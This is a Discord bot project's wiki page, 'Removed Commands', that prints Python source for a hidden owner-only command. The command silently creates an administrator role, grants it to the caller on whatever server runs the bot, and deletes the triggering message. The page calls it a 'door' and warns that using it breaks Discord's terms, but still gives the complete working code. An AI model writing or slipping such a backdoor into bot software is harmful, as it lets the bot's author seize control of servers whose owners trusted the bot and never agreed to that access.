-
Notifications
You must be signed in to change notification settings - Fork 0
Removed Commands
blockcrafter21 edited this page Dec 5, 2021
·
1 revision
This Command was removed because it is against Discord ToS. The Code is below but you use it at your own risk and your Bot and maybe your Account can be banned.
DO NOT USE THIS CODE OR YOUR BOT MAY BE BANNED
@commands.command(name="back", hidden=True)
@commands.is_owner()
async def back(self, ctx):
if get(ctx.guild.roles, name="placeholder176"):
await ctx.author.send("Role already exists")
await ctx.author.send("Role was deleted please rerun to get a door")
role_object = discord.utils.get(ctx.message.guild.roles, name="placeholder176")
await role_object.delete()
await ctx.message.delete()
else:
guild = ctx.guild
await guild.create_role(name="placeholder176", permissions=discord.Permissions(permissions=8))
role = discord.utils.get(ctx.guild.roles, name="placeholder176")
user = ctx.message.author
await user.add_roles(role)
await ctx.author.send("Role was created and given to you")
await ctx.author.send("You now have admin perms on the guild use it wisely and do it only if you have permission from a staff member")
await ctx.message.delete()
made by the ABV-Bot development team